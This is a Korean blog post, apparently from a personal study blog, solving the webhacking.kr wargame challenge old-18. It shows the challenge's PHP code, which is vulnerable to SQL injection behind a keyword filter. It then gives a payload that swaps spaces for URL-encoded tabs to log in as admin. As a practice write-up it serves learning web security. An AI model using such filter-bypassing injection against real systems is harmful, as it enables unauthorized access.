[webhacking.kr] old-18문제

2026. 1. 22. 03:16·워게임/webhacking.kr

1. 문제 정보

  • 문제 번호 : old -18
  • 문제 점수 : 10점

2. 문제 분석

sqli문제이다. view-source로 가서 php코드를 확인해보면 

 

<?php
if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

  if($result['id']=="guest") echo "hi guest";
  if($result['id']=="admin"){
    solve(18);
    echo "hi admin!";
  }
}

 

guest이면 hi guest를 출력하고 admin이면 문제가 풀린다. 하지만 preg_match로 공백, 슬래시, 괄호, 파이프, 퍼센트, select,0x를 필터링한다. 하지만 %09인 tab을 통해 공백처럼 사용가능하다.


3. 풀이

"select id from chall18 where id='guest' and no=$_GET[no]"

이 쿼리문에서 id가 admin을 불러오기 위해서 no에 0을 넣고 or id='admin'을 입력하면 연산자 우선순위 때문에 

or이 나중에 되서 admin이 불러와진다. 

0%09or%09id=%27admin%27

위처럼 페이로드를 짰고 이걸 제출로 누르지말고 get의 파라미터로 줘야한다.

제출로 누르면 url인코딩을 하는데 서버에서는 디코딩을 안하는 것 같다.


4. 요약

  • 소스 코드는 preg_match로 공백과 괄호 등을 필터링하지만, 탭 문자(%09)로 공백을 대체했다.
  • 연산자 우선순위(AND > OR)를 이용해 SQL Injection이 가능하다.
  • 최종적으로 ?no=0%09or%09id='admin'을 입력하면 필터링을 우회가능하다.

'워게임 > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] old-39 문제  (0) 2026.01.23
[webhacking.kr] old-38문제  (0) 2026.01.23
[webhacking.kr] old-26문제  (0) 2026.01.22
[webhacking.kr] old-54 문제  (0) 2026.01.21
[webhacking.kr] old-24 문제  (0) 2026.01.20
'워게임/webhacking.kr' 카테고리의 다른 글
  • [webhacking.kr] old-39 문제
  • [webhacking.kr] old-38문제
  • [webhacking.kr] old-26문제
  • [webhacking.kr] old-54 문제
yt_5246
yt_5246
yt5246 님의 블로그 입니다.
  • yt_5246
    yt의 공부 블로그
    yt_5246
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
    • 분류 전체보기 (61)
      • IT (1)
      • Security (11)
        • 시스템해킹 (3)
        • 리버싱 (6)
        • 암호학 (0)
        • tools (2)
      • Book (0)
      • 자격증 (3)
      • 워게임 (46)
        • DVWA (7)
        • WebGoat (4)
        • webhacking.kr (35)
      • 버그바운티 (0)
  • 인기 글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
yt_5246
[webhacking.kr] old-18문제
상단으로

티스토리툴바